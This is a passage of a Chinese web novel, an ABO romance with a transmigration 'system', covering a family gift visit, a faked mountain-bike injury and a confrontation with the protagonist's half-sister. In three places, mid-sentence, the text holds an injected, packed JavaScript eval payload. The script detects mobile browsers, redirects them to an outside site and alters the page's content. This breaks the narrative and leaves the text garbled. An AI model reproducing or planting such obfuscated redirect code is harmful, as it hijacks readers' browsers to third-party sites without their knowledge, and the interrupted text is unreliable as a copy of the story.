他脑子里乱七八糟的,又觉得悲观又觉得有希望,陆则的动作让他的胆子大了些,他现在不敢对陆则夹着嗓子撒娇,只好声调正常的试探他,“我过段时间可不可以带礼物去看你妈妈。” “可以。” 陆则不担心陆母当面给宋知许难看,对方最会建的就是面子工程,更何况宋知许撒起娇那么可爱,对着人笑的也甜甜的,长辈很难不喜欢这样的吧? 宋知许一听稍微睁大了眼,很不确定再次试探,“今天的检查可以不告诉你妈妈吗?” 陆则:“本来就不会告诉她。” 陆则打开后座把宋知许塞了进去自己落后几秒也进去,他本来打算坐在这儿不说话吓唬吓唬宋知许,可看到宋知许眼睛红红的全是红血丝,浑身上下都透露着可怜两个字又不忍心了。 拉着他的手把人按在自己腿上,“今天哪错了?” 宋知许本来还在为他的动作感到高兴,被这话问的一懵,又一抖泄出一声哽咽,“我也不知道我的生殖腔为什么这么薄,对不起……我会好好养身体给你生孩子的。” 陆则一整天都被气的眼前一黑又一黑,耳朵里都在嗡嗡响,“……我就没打算要孩子。” 宋知许脸蛋上挂着两大滴泪珠,眼里全是眼泪,估计是刚才被陆则吓的,控制不住打了几个嗝哭的更厉害了。 陆则实在没招了,语调快速的说了一遍,“我没打算要孩子,知道这个结果之前也没打算要,但我妈很传统想要孙子,等结完婚她肯定会催你,来做这个检查你知道自己后果有多严重就把自己身体当回事,虽然有我顶着但你自己别耳根子软,谁催你都别管。” “我不是铜墙铁壁,防肯定不能完全防住,结完婚我直接带你搬出来,知道吗?” 宋知许呆呆眨了下眼把眼眶中的泪全都挤了出来,整张脸都被眼泪打湿了,扯着嗓子哭的很惨,“我要吓死了……我以为我要被退货了……” 他哇哇的哭,边哭边打嗝,坐在陆则腿上姿态豪放的仰着头哭,“我好惨啊……” “我哭的头疼!”他说完哭的更大声了。 耳边魔音灌耳,陆则闭着眼搂着他的腰像哄小孩不哭坐摇摇车一样的又晃又拍,无力又艰涩开口,“别哭了……” “啊——我好惨啊!” 宋知许依旧仰头张嘴痛哭。 他被晃着安慰了会儿突然收声不哭了,陆则以为把人哄好了,没想到宋知许万分虚弱往他肩膀上一靠。 “我好晕啊,缺氧了……” 陆则目瞪口呆看着瞬间虚弱的不行要倒的宋知许,他软绵绵的倒在陆则肩上依旧带着浓浓的鼻音。 “你别吓我,你下次直接说嘛,哪怕你让我去荒郊野岭提个锹挖坑我也不会觉得奇怪的——你直接说嘛。” 陆则:“?” 挖坑干什么,进行什么不可说的恶劣非/法活动吗? 13. 第十三章 宋知许可怜兮兮满脸泪,哭出一脑门汗,额头上细软的碎发黏黏的沾在上面,不住的吸鼻子。 陆则搂着他的腰探着胳膊去摸放在前面的纸,抽了两张叠在一起捏住他的鼻子,“用力。” 宋知许闭着眼睛用力,用力到最后干巴巴发出几声哼。 陆则把纸叠了叠重新换了张再次捏上去,“再用力。” 就这么循环往复三四次陆则听声音感觉还没干净,准备再次抽纸就被宋知许抓住了,“不要了,我自己来,鼻子好疼……” 陆则:“……不擤了,一脑门汗擦擦。” 宋知许好像真的很怕陆则继续用力捏着他的鼻子强迫他擤鼻涕,抓着手死活不肯放,听了这话才犹豫着松了点手,陆则动作很利索的扯了两张纸撩起他的额发擦他脑门上的汗,“你怎么跟小孩似的,哭的时候用尽全身力气去哭,整出一脑门汗。” “我怕呀……”宋知许看起来又委屈了,握着陆则手腕维持身体平衡,“我要被退货了还不能生我妈肯定让我嫁三婚四婚五婚的老头子……” “你妈真势利眼。”陆则评价。 “对呀,啊——”宋知许眼里又有眼泪了,张着嘴带着哭腔啊了一声,“得亏你有钱还年轻,我妈就喜欢你有钱。” “嗯,得亏我要能力没能力,要工作没工作,但就是有钱。”他扣着宋知许脑袋给他仔细的擦,“我说么……” “什么?”宋知许抱着他的手腕不明所以。 “我之前嘬你脸的时候觉得你一股奶香味儿,还以为你用的沐浴露或者是别的什么。”他伸手搓了搓宋知许脑袋边那一圈又细又软的毛发,“你知不知道你奶毛都没褪啊?” “啊?”宋知许愣住了,“什么是奶毛。”他说着伸手搓了搓自己的脑门。 “就是小孩长头发,又细又软那种,一般长大点就会自己褪掉,你脑袋旁边还有一圈奶毛。”陆则说,“怪不得呢。” “怪不得什么?”宋知许揉了揉自己的眼睛揉出了一个欧式大双,认真的盯着陆则看,对方却又用虎口卡着他的下巴转了个弯把脸蛋对准他,高挺的鼻尖顶在侧脸上稀罕的闻了又闻,离开之前又很不客气的咬了脸颊软肉,咬完又嘬了一口。 “跟个小孩似的,一身奶味儿。” 陆则逗他,“刚才不是说要去拜访我妈么,现在还去么。” “去啊。”宋知许很笃定,“都说出口了,肯定要去的。”他托着脸吸着鼻子看陆则,“可我该带什么礼物去看你妈妈?” “只买贵的,不买对的。”陆则说,“越不实用越好。” 宋知许想都不想直接摇头,“我没钱。” 陆则:“……我知道你没钱,我还能让你花么,你只管买账单给我。” “好耶。”宋知许笑弯了眼睛捧着陆则的脸开始亲昵的贴贴,黏黏乎乎拉长调子,“你真好——” …… 说要来摆放准备礼物的时间也没有留出多少,四五天左右宋知许就说东西准备好了。 陆则提前跟家里说了宋知许要来,一家人又整整齐齐的在那等,陆则打开门让宋知许进来的时候陆延和陆父正坐在沙发上各自看各自的手机,陆母正沾在那里摆弄她的花,见人进来了陆母很亲热的迎了上来,“啊哟,知许来了啊?快坐快坐。” 宋知许被陆母拉着按在餐桌上,陆则打量了一眼在沙发上的两个大男人,“……你们干嘛呢。” 两双四只眼齐齐看向他,又不约而同的无视了陆则施施然坐在了餐桌上。 餐桌是个方桌,陆父陆母坐一起,宋知许陆则坐一起,陆延自己一个人坐。 陆母一直很亲热的拉着他的手跟宋知许说话,“你上次生日我跟你伯父没赶回来,也就让他大哥去了一次,那次没见上你我还想咱们什么时候再一起吃个饭呢,你看看,咱们这不就想到一起去了?”她看起来好像很喜欢宋知许,脸上的笑就没下来过,聊的内容也很细碎又亲切,“对了,知许啊,之前你生日上送的那架钢琴喜不喜欢啊?” 宋知许也乖乖巧巧有来有往的回应,“喜欢的,那么好一架琴我都舍不得弹了。我也早该来看望伯父伯母还有大哥了,一直不来这是我的不周到。” “嗐。”陆母依旧笑着,“你这孩子,什么周到不周到的,咱们以后这是一家人,用不着这么客气,咱们娘俩就是这家里一伙大粗A里边唯二俩O,以前我都没个知心人可说话的,这下好了,以后有你了啊。” 宋知许笑吟吟点头应下,至于桌上这三个姓陆的全程没插嘴吃自己的饭,光看陆母给宋知许夹这夹那劝他多吃些。 态度亲切自然的像是失散多年的亲母子。 陆则百无聊赖拨了下自己碗里没吃完那口菜,心里寻思宋知许不会真信了陆母亲切那套了吧。 ……不能吧? 他也不太确定,可有些人就是难以分辨他人对自己散发出的那点好,陆则觉得宋知许大概率也是那种人。 他看桌上人吃的差不多了把碗一推,扭头声音并不小的对宋知许说,“你不是带礼物过来了么?” 宋知许嗯了声动作很轻的推开椅子去沙发前拿礼物,陆则也跟在他身后慢慢晃过去,桌上其余人也干脆都坐在了沙发上,那里摆着三个盒子明显属于在场的三个人,本来很灵巧的拆包装的宋知许在四道毫不掩饰的目光下动作僵硬了起来。 是的,四道。 陆则只管给钱不管买什么,他也很好奇宋知许到底挑了什么东西出来。 宋知许拆了第一个包装,是四颗硕大的文玩核桃,这东西不用说就是给陆父的了,他把东西双手放在陆父面前,“伯父,这是给您买的礼物,我家里稍微涉及一点文玩,我对这个也有一点浅薄的了解,按自己的眼光挑了几个,还望您不要嫌弃。” 陆父神情没怎么变,大概是这礼物也不算送到他心坎上,但这四个核桃一般大小成色极佳,外行人也能看出难得,于是他点点头又应了声,“有心了。” 宋知许又去拆下一个礼物,陆则估摸着应该先送两个长辈再送他大哥,看见那个只做领带牌子的logo意外的挑了下眉,一边的陆延显然也很惊讶,稍微睁大了点眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740441|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过这礼物只能说中规中矩,陆延只是惊讶了一下很快就恢复正常收下礼物道了声谢。 宋知许又去拿最后一个盒子,他却没拆反倒是把盒子放在陆母面前,“伯母,这个盒子您来拆吧?” ……有诈,绝对有诈。 陆母看起来没多想,伸手去拆,当把盒子打开的一瞬间一个婴儿拳头大小的东西不算很快的弹出来,字正腔圆特别大声的喊了句:“妈妈!” “妈妈!妈妈!” 这个小玩意弹出来又收回去,每次弹出来都要特别大声的喊一句妈妈。 陆母一懵,等看清在眼前喊妈妈的是个什么小玩意的时候一下子被逗笑了。 陆父看了眼也笑了。 只不过有人欢喜有人忧,陆延陆则俩兄弟脸色很可疑的凝滞住了,“……” 陆延扭头瞪他,好像在说看你老婆干的好事,陆则只好默默扭头装作看不见陆延瞪圆的眼睛。 不为别的,里边那个弹来弹去大声叫妈妈的小玩意正是不知道什么材质的两人幼化Q版等身像,里面的声音也很像是经过处理加工后模拟的小孩声。 陆母对着这俩小人笑的不行,捧着这个小匣子翻来覆去看,连声开口,“小延跟小则小时候就这样的,看这小圆脸多像啊。” 陆母很高兴,笑的合不拢嘴,一只手端着小盒子一只手拉着宋知许就要往楼上走,“我把这个摆在我床头,走,我去给你看看小则小时候的照片,哎呦,真的一摸一样啊,尤其这小圆脸,真招人疼……” 陆延和陆则相顾无言,陆则站起来拍拍身上不存在的灰尘,“狗呢?” 陆延没好气,“关外面了。” …… 家里养的是一只小土狗,就是那种很常见的大黄,看起来很威风凛凛,只不过这只狗很认生,听宋知许要来避免麻烦干脆关在了外面,陆则蹲在那逗狗,一边盘算宋知许到底什么时候下来。 有时候这人经不起念叨,他还没想多久宋知许就从家里专门开的小门过来了,他一眼就看见了正对着陆则敞肚皮的大黄,“大黄啊?它叫什么啊?”他大胆猜测,“大黄?” “不是。”陆则摸了摸它的肚皮觉得现在看起来很平和,也没有什么要对宋知许狂吠的苗头放心了点,“很俗很常见的名字——Lucky。” “Lucky呀?”宋知许对着狗又甜甜夹了嗓子,“不许这么说小狗,怎么能说小狗的名字俗呀,别的Lucky是别人的幸运,这个Lucky是它的幸运。” 他甜腻腻的叫Lucky的名字,手伸到一半还没摸到狗头就接收到了Lucky打量和狐疑的视线,大黄来回看了一圈很犹豫的轻吠了一声。 或许是姿态太具震慑,又或许是刚才的动作很像要起来咬宋知许,宋知许甜腻腻的嗓子都夹不住了,直接被吓出一声颤音。 Lucky很高傲的看他一眼。 宋知许:“……” “……笑死。”宋知许也不夹了,“我没有很想摸你。” “还有你真的很装。” 14. 第十四章 Lucky确定了眼前这是自家人俩人很快打成一锅粥,它不停的往宋知许身上扑狂摇尾巴想去舔宋知许的脸。 陆则:“脏狗。” 宋知许居然还纵着这只狗,也辛亏Lucky个头不算大,被抱起也乖乖不乱扑腾,他抱着不算费劲,他特别稀罕的抱着狗脸蹭,那动作陆则总觉得似曾相识。 ……宋知许蹭他跟蹭狗动作都差不多。 陆则:“……色狗。” 宋知许是真的喜欢,“这种狗在哪里买的啊,它妈妈还下崽吗?大黄好可爱啊。” “你想养以后把它带走养。”陆则摸了摸狗头,“这是个公公。” 宋知许扑哧一下笑出了声,“好可怜啊,才几岁怎么成公公了。” “而且这种狗不好买。”陆则直言,“我们也是看了很久才在广烟那边一个培育基地买下的。” 宋知许很疑惑的嗯了声,“这不是小土狗么,乡下应该到处都是吧?” “纯种本土狗不是很多,你现在在咱们这种地方很难看到,乡下也不会有人管它们是不是串,好多本土狗现在基本都看不到了。现在大部分人养的都是品种狗。”陆则把狗接过,“主要不流行,一些地方禁养,而且土狗容易弃养,看家护院一把好手成了流浪狗很凶,为了城市安全容易被送走乱七八糟的。” “Lucky。”陆则把它放下,“玩去吧,这是只纯种的练庸田园犬。” “你喜欢等咱们以后搬出来把Lucky带走,我看它挺喜欢你。” …… “我非死不可吗?”陆则握着车把,语气听起来冷静的不可思议。 【哎呦~宿主你这说的是什么话。】996一口油腻的腔调,【山地车而已,洒洒水啦~】 【而且你肯定不会死的,剧情的决定了你无论如何都不会死,最多就是受伤啦~】 陆则面无表情盯着周围极度陡峭的路后背发麻。 ……这是他该走的路么。 “不管你有什么金手指快点使出来。”陆则瞪了眼996。 996拍了拍自己的大肚腩,【宿主你就放心骑,一会儿故意倒就行,我保证你伤不了一根毫毛,医院的仪器也检测不出半点不对!】 ……他用得着故意倒吗? 估计刚开始骑就倒了。 陆则不是很愿意骑这个山地车,奈何后面的常综已经下车过来看他了。 “则哥怎么不骑啊?”他看了眼陆则脸色咂摸了一下,突然福至心灵,“唉——不过要我说,家里有个如花似玉的老婆谁还稀罕骑车找刺激啊,还不如回去拉着老婆的手说会儿话呢。” “你说的对……”陆则肯定他,正想借坡下驴不骑退居二线,996又像个鬼一样飘过来,【我都不管你谈恋爱了,你得从其他地方抠分啊,不然最后不够六十你都没法待在这个世界,还要什么老婆啊……】 “你说的对。”陆则正色,“但骑车是我的爱好,也不能随便放弃。” “哎呦卧槽。”常综听的直接甘拜下风竖起大拇指又称赞了一句,“哎呦卧槽。” 陆则呵呵笑了两声,常综已经举着他那个大拇指跟后面几个好基友大肆吹嘘陆则的热爱,毫不意外得到了几句卧槽和哄笑。 ……我真服了。 …… 有些时候不能提前往坏处想。 就譬如现在,陆则刚刚想估计用不着等故意倒,他刚开始就倒了,事实上,他的脚刚踩上去一蹬,车轮连一圈都没转,他就当着身后的所有人直挺挺摔了下去。 常综几人急匆匆来了个急刹车,目瞪口呆看了几秒,又互相看了几眼确定不是自己睡昏了看花眼而是陆则真掉下去了。 掉下去了。 谁掉下去了? 陆则啊卧槽! “救命啊——!!!!” 也亏这些大少爷大小姐只是玩玩极限运动,不是想玩命,选的地方不算很复杂,周围急救人员也备的齐全。 陆则掉下去不到二十分钟就水灵灵被捞了上来。 常综瞪大眼咆哮,还把手放在陆则鼻子底下探探他还有没有气,“卧槽啊!赶紧送医院啊!他闭着眼昏了啊!” “卧槽啊!没啥外伤是不是内出血了啊,卧槽啊!” 实际上只是不想面对干脆闭眼装晕的陆则,“……” 救命啊。 伴随着耳边时不时响起的卧槽声陆则人生头一次觉得极度无助。 谁来把常综拉走? …… 陆则被拉进医院做了全套检查,他全程闭眼''昏迷''不看不听也不想耳边的鬼哭狼嚎,996给他模拟出了腿骨折右胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740442|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挫伤和身上大大小小一堆面积不等的擦伤,没伤估计都得被按着住几天院,更别提伤如此之''严重''。 耳边鬼哭狼嚎的声音突然一停,陆则悄悄把眼睛打开一条缝,进来的赫然是西装革履明显从公司赶来医院的陆延,对方眯着眼扫了一圈在场的人,里边鬼哭狼嚎声音最大的常综跟个鹌鹑低着头不吭声了。 很好,陆延很霸总。 他很放心了闭了会儿眼装作才醒来发出一声吸气声,“……哥?” 陆延听见这声紧绷的脸一松,随即又绷紧狠狠瞪了他一眼,“小则已经醒了,没什么大问题,大家也不用守着了,出去玩受伤难免,也不用放在心上。” 等病房里的人退出去陆延也往门口走,从门口把俩几乎抱在一起搀扶着的兔子迎回来。 俩眼睛红的跟兔子似的不是陆母跟宋知许还能是谁? 陆延站在陆母身后咬着牙冲他舞了下拳头做口型,“腿给你打断。” ……已经断了。 陆母眼睛还红着,上前摆弄了下确定他人没什么大事张嘴就开骂,“出去不老实回家还不老实,我怎么生你这么个讨债鬼啊!腿断了?断的好!现在躺在床上不能动老实了吧?!我看谁来给你推轮椅!把Lucky叫来照顾你吧!” 陆则:“……妈。” 陆则这声显然底气不足,陆母更生气了,“妈什么妈!我叫你妈!” 陆则:“……” 一阵兵荒马乱陆延总算是把陆母安抚着带了出去,病房里就留了宋知许陆则两个,他把手里鸡汤往桌上一放也不说话。 陆则正好饿了,他扒拉鸡汤盖子,“你熬的啊?” “保姆。” ''啪——!'' 陆则不可置信的看自己被宋知许打掉的手。 “吃什么吃,你跟你山地车过去吧。”宋知许说,“看山地车给你带什么饭。” 陆则:“?” 宋知许继续说,“不对,你先跟我把证领了再买份保险受益人再去跟你的山地车过日子。” 陆则:“?” “你……”陆则很迟疑的看他。 “我什么我!”宋知许口气很冲,从陆则手里夺过鸡汤,“给我!!” 他拿起鸡汤卯足劲往外冲,“吃什么吃!” 陆则:“???” 15. 第十五章 陆则就这么舒舒服服开启了自己在医院养伤的日子,这段时间没有任何剧情,996也不出来打扰他,陆家负责给钱强硬要求他待在医院,宋知许还时不时来医院送点爱心午餐,他偶尔还能抱着自己未来准老婆亲一口,除了有人时要装行动不便以外堪称没有任何缺点。 陆则正百无聊赖坐在那里玩手机,病房门就被敲响了,一个身材颇为高挑穿着护士服的女性Beta拿着一个单子走了进来确认他的名字,“陆则是吗?” 陆则打量了她一眼,慢半拍关手机扔在一边嗯了声。 “骨折移位不严重,要确认一下消肿情况,如果情况可以的话今天就打石膏。”护士边说撩起了陆则搭在身上的被子,他的腿肿着,为了方便当天就穿了短裤,检查打石膏不碍事,对方在查看他腿肿胀程度,陆则瞥了眼那护士胸前佩戴的胸牌。 ——朱祝。 “之前没见过你。”陆则随口问,“你们这科室区域什么的不是固定的?” 朱祝已经检查完了,“不是,隔一段时间科室会换。”她把被子挪回原位,“再看一下右胳膊的伤,来,我帮你把这个脱掉。” 陆则没用她帮忙,用完好的左手一颗颗解开扣子,朱祝很自然的上手,在尽量不碰到挫伤的右胳膊前提下帮他把袖子脱下来,陆则坐直让她继续检查右胳膊,完好的左手往上扯了下因为一侧重量老往下滑的上衣。 朱祝:“后背好像也青了。”她问,“能直接把上衣脱下来吗?” “……”陆则没什么表情垂着眼利索的动了下另一条胳膊。 衣服彻底脱掉,右胳膊的挫伤连带着一小块脊背微微肿起来,后背擦伤很少,上面残留不少浅浅的没有增生过的疤痕,不是很显眼,还算光滑,摸着与其他地方并没有特别显著的区别,不仔细看也看不出有疤。 朱祝很仔细的看着,时不时上手摸一摸,陆则扭头语调凉凉的,“你摸哪呢?” 他直接挥手把朱祝的手打开,表情有些不耐,“医院我进了没一千回也有八百回,用得着这么看?哄鬼呢?” “攀高枝攀到医院来了?”陆则轻飘飘笑了下。 朱祝脸色不太好,紧紧绷着唇紧张几乎难以掩饰,“并不是您想的那样,每个人检查伤口方式不一样,我……” “我见过这个叫朱祝的护士,不长你这样。”陆则没好脸色,“把我当傻逼啊,胸牌哪拿的?” 这名自称叫朱祝的护士被陆则连珠炮似的几句话呛的说不出话,正准备直起腰离陆则远一点,刚才那只在后背摸索了很久的手被扯着重新搭在后背某处,陆则面无表情扯着她引着她摸,再次询问,“你刚才摸什么呢?” 一直盲目寻找却没找到的一个形状类似井字的东西出现在指腹下,这东西摸起来太浅,又过分特殊,她仔细摸索了几下确定就是自己要找的那个井字伤疤登时毛骨悚然,好像确定了眼前人是什么恶鬼立马抽回了手。 陆则对她的反应全然不意外的重复,“找什么呢?”他扯起个笑,“找它啊。” 朱祝后退几步想走,陆则那条腿的伤本来就是给别人看的,根本不影响他的行动,于是他径直从床上下来,“找它啊,找它干什么,你认识我啊?” 那个井字的伤疤不属于这个世界的陆则,而是他的世界,从他的身体里带来的东西。 这东西太过微不足道,也只有那么寥寥几个人知道他有这么个疤。 骨折的人从床上利索的站起来也太过不合常理,朱祝硬生生没觉得有什么不对,只是下意识立马转身就跑,陆则声音冷的能掉渣,准确无误的说出了一个熟悉却又算得上陌生人的名字。 “正媛。” 他口气里命令意味浓重,“陆正媛,回来——” …… 陆则原本的世界里有个姐姐,叫陆正媛,两人除了身上流着同一个爹妈的血之外毫不熟悉。 陆则他爸是个暴发户,没什么底蕴,有钱了换房子换车子换老婆从头到脚全换了遍,离婚俩孩子不肯给他妈,陆则他妈怕他爸以后卖女儿,想着女孩被卖了一辈子就毁了,松口把能传宗接代的小儿子给他爸留下,争来争去才把陆正媛给带走。 穷人乍富,他那混蛋爹不干人事,无时无刻不在履行四字真言,他妈怕他那混蛋爹反悔早不知道带着陆正媛躲哪去了,总之没人管才五岁的陆则。 陆则后来一想他成了个同性恋可能是被他爹那头肥猪经常肉搏乱搞给恶心的,十几岁恨不得天天咒他乱搞得病死了算了,况且他家也没听说出过同性恋,遗传可能性还是少点。 十几岁的时候甚至被他那个爸恶心到起不来,他爹带着他到处看医生恨不得把现在这个卸下来重新给陆则装个有用的,他爹这么多年没造出娃又发现儿子是个起不来的哭天抢地说他家要绝后。 陆则听了只想冷笑告诉他就算起来你也绝后,你儿子是gay。 五岁的陆则不知道妈哪去了难受只会哭。 十六七的陆则也难受却一视同仁的敌视所有人。 二十五岁的陆则想通了。 除了他那个肥猪混蛋爹没人有错,只不过通常情况下想通和难受两种情况并不相驳,他还会难受,只不过他不再需要之前渴求的母爱之类的玩意儿,他已经很大了。 从五岁三观还没长齐的年纪就被他那个混蛋爹散养长大的陆则当然也不是什么正常人。 等他意识到想把儿子往那个二代圈子里塞讨点信息差好处时陆则年纪不算小了,正经圈子谁看得上他这种一身肥肉的暴发户的儿子,他也只能往那些二世祖圈子里塞,可是有头有脸家庭里出来的二世祖也不可能跟他一起玩。 直到陆则二十一跟那群二世祖玩赛车出车祸非常不小心把里面那个中心人物的车给撞了,差点俩人都死那,他禽兽爹的融入圈子计划才算是彻底告吹。 至于陆正媛,拥有同一位母亲和深厚的血缘关系并没有让两人变得熟悉亲近,两人关系很一般,从陆正媛那里看却是关系奇差。 这么说也不准确,准确的来说陆正媛头一次见陆则回去就跟妈说陆则被禽兽爹养歪了,就是个小疯子,看起来精神也不太正常,十几岁普通环境成长起来的少女没有见过陆则这种变脸大师兼装货,她怕的不肯来当维系母子感情的桥梁。 毋庸置疑,陆正媛因为这话在她十七岁的人生里头一次挨打,甚至在后来的日子无数次被催促来见陆则。 第一次见面留下的阴影根深蒂固,哪怕是过去将近十年都无法消弭,因为你永远无法知道一个看起来正常至极又很会装的疯子到底对你有什么图谋,又在什么时候会突然变脸伤人,甚至因为他的会装在某些特定的人那里陆则还是个相当好的少年,她无从诉苦,也从骨子里怕这个跟她有最无法割舍血缘关系的弟弟。 总之陆则把人当空气的时候是这个人最安全的时候,过去最怕陆则的一段时间她恨不得天天祈祷陆则忘了有她这号人。 陆正媛嘴唇都白了,满脸戒备的盯着站在不远处的陆则,似乎随时准备跑,“……还真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆正媛咬着牙,就算病房里只有他们两人她还是压低了声音,“你知道什么是喜欢么,你这种疯子……你做的事情我怕妈妈伤心都不敢跟妈妈说……” “况且你开车去撞那人的时候想没想过车上还有个我,妈妈只剩咱俩了你想过么……” “你那天明明知道我要去、明明知道妈妈绝对会向我问你的情况……”陆正媛声音急促,“你故意当着我的面打那个人渣、故意发疯,那么多血,你才十五岁……” “……” 一句句从往常不敢跟他对呛的人嘴里吐出来,陆则突然觉得很新奇,“怎么从你嘴里全是我的错,他们也不无辜吧。” “是不无辜,可你也不能用你那种手段、你……”陆正媛说不下去了,“你自私自利,装的比谁都好,我以为这些结束就没事了。” “结果你到这个世界还搞这一套……” 她第一次见陆则当然不是今天以朱祝身份这一面,她见到了来看陆则的''家人'',大概也在自己还不认识的情况下见到了陆则''攻略''的那个Omega。 她也亲眼看到了这些人的相处,他装的多好啊,生气,笑,插科打诨,比之前装的还像个人。 “做你的任务去。”陆则不以为然。 “你知道任务失败什么下场吧,别来我面前晃,别以为你跟我有那么点血缘关系我不会怎样你。”眼前的人那副假面似乎依旧牢牢焊在了脸上连他自己都无法扒下来,“你要是圣母心发作来搅合我的事。” 陆则轻轻笑了笑,“你大可以试试。” 16. 第十六章 【陆则对这个被标记彻底决定了归属权的Omega很热络了一阵子,彻底上手的新鲜玩意儿,更别提是个这么漂亮的Omega。 柔顺、漂亮、干净。 吻着后颈嘬的时候总会可怜的发着抖。 每一个反应都青涩的可爱。 就像把玩一块漂亮温润的玉,陆则爱不释手。 只不过从某种程度上来说,上手有多容易,上头有多快,兴趣消失的也会更快。 娶回家的Omega不会跑,也用不着哄着,他自然会像这个圈子里其余那些温顺的Omega太太一样当个摆件,想起来就捞过来把玩把玩,想不起来也会在太太圈子里为自己家里做事。 而他需要付出的只是一点金钱,一个正宫太太的身份。 与其他不同的是他的这位年轻的太太喜欢他,好处并不多,充其量只能满足他那点属于Alpha的虚荣心,坏处就是有可能会闹的很难看。 爱情游戏他跟宋知许也玩够了,面对宋知许弱弱讨好他也视若无睹。 天底下Omega海了去了。】 “你的意思是——”陆则坐在轮椅上感到荒谬,“我要带着这条打着石膏的腿,和一条软组织挫伤的胳膊去完全标记宋知许?” 996大言不惭,【你躺着就行。】 陆则:“……” 【时间很紧迫呀!】996很严肃,【你标记完他对他的兴趣到达最顶点,被标记的Omega对你的信息素又没有任何抵抗力,两人都年纪轻轻不干柴烈火还要干嘛呢,你要对他干干干干干柴烈火好长时间,然后冷落他一段时间就结婚了,时间紧任务重。】 陆则:“……那我也不能打着石膏。” 996说,【虽然从正常医学和人体恢复速度来说不可能恢复的这么快,但你不正常呀,后天、不,明天你就去医院把石膏拆了。】 …… 陆则没听这个智障系统996的,它就不是个人它懂什么,活脱脱就是个隐藏的人渣智障,陆则祝它自己以后也去做个人渣任务,它肯定完成度100%。 硬套公式得不出最优解,陆则觉得这段日子宋知许绝对要比原著里的那个可怜Omega更加依赖他,那后面的干干干干干柴烈火的时间完全可以根据现实来相对应减少,甚至可以标记完宋知许就冷落他。 虽然说直接冷落剧情中的情绪肯定到位完成度会高,但陆则没那么丧心病狂的折磨人,他自认不是吃斋念佛的大善人那也是会扶老奶奶过马路的大好人,他没折磨人的爱好。 他老老实实带着石膏要么拄拐杖要么坐轮椅在房子附近溜达,自从出院住回陆家宋知许大概有所顾忌,出院那天来了一次以后问候只停留在手机上没再过来。 总不见面不叫个事,忍了几天石膏陆则还是去医院拆掉,腿伤是装的,石膏却是实实在在打的,拆完石膏他都有点不会走路一脚深一脚浅的走,为之后的终标铺垫干脆没回原主从小长大那宅子。 陆家当然不止那一套房产,现在陆则名下的大部分都是些稀奇古怪日子以各种理由送给他的,光是这座城市就有好几套从没住过的。 陆则挑了套在五环附近的直接住下了,偏,隐私还好。 …… 沙发发出不堪重负的声音,上面隐隐约约有两道交叠的身影,两条看起来偏瘦的胳膊圈住陆则的胳膊,偏窄的沙发容纳下两人不算很容易,他干脆一只手撑着茶几继续压着宋知许亲。 没有固定在原处的茶几不知不觉被他的胳膊推的移了位,最开始只是慢慢挪动了几下,在某一瞬间像是坐了滑梯一下子滑出一截,也幸好陆则早在最开始移动时已有预料立马收回了胳膊,只是苦了躺着的宋知许。 收回的手暂时没找到很好又稳健的支撑点,比起宋知许这种刻意保持体重而显得有些瘦弱的Omega,重了很多的陆则猝不及防猛的一压宋知许呼吸都停了一瞬间。 他很快用小臂撑在沙发上撑起身体,另一只手从沙发和宋知许脑袋中间的缝隙里滑进去捞着他的后颈朝自己方向按了按。 宋知许嘴唇麻的要命,这几天感觉总是肿肿的,迷迷糊糊想这是最近几天第几次被摁着亲了,这几天陆则就跟打通了什么任督二脉似的,过去两个月几乎没怎么碰过的嘴唇这几天格外受到厚爱,动不动就会被摁着亲半天,还是像现在这种过分粘腻的亲法。 他脸红的要命,陆则亲他就像拔火罐,偶尔吮吸嘴唇过于用力会发出啵一声,每次听见这种声音他都从头红到脚,万分庆幸这个家除了他俩谁都没有。 “唔!”宋知许紧闭着双眼拍打他的肩膀,好容易被大发慈悲放开偏着头用力呼吸,口腔里往常万分正常湿淋淋的感觉此刻就像火烧,他不知道跟陆则交换了多少口水,舌头每一个地方都被陆则亲了个遍,“你太用力了。” 他埋怨陆则,又觉得自己此刻大口张嘴呼吸的样子或许会不太好看,先伸手捂着,又觉得不太好看于是抵了一截手指在唇边侧着头平复呼吸。 “有么。”陆则呼吸很沉,盯着那截被抵在吸的很红的嘴唇上的纤细手指,再次俯身用鼻尖顶着他露出的侧颈,但是不亲只是用鼻尖磨了磨,“你好香啊。”宋知许皮肉里似乎都沁着香,陆则想咬着看看还香不香,于是也就顺从自己的心意去张嘴咬了。 宋知许脖子上没什么肉,但皮肤很软给他一种软绵绵有肉的错觉,陆则牙齿咬着他的脖子,咬了咬又吮了吮。 宋知许听到他夸很香下意识去摸脖子上的抑制贴,虽然依旧完好却没怎么放心,这些天被陆则抱着这样亲他总觉得控制不住自己的信息素,唾液中信息素含量也不少,他的腺体总是鼓鼓的,像是发情期那样发着烫,可他脑子又极度清醒,清醒的脑子无疑告诉他这不是什么发情期。 或许是信息素契合度高而带来的生理反应,又或许是觉得这个Alpha确实和自己心意,那一丝心里微妙的喜欢与爱意催化放大了身体的反应。 从某种程度上来说,亲密行为上 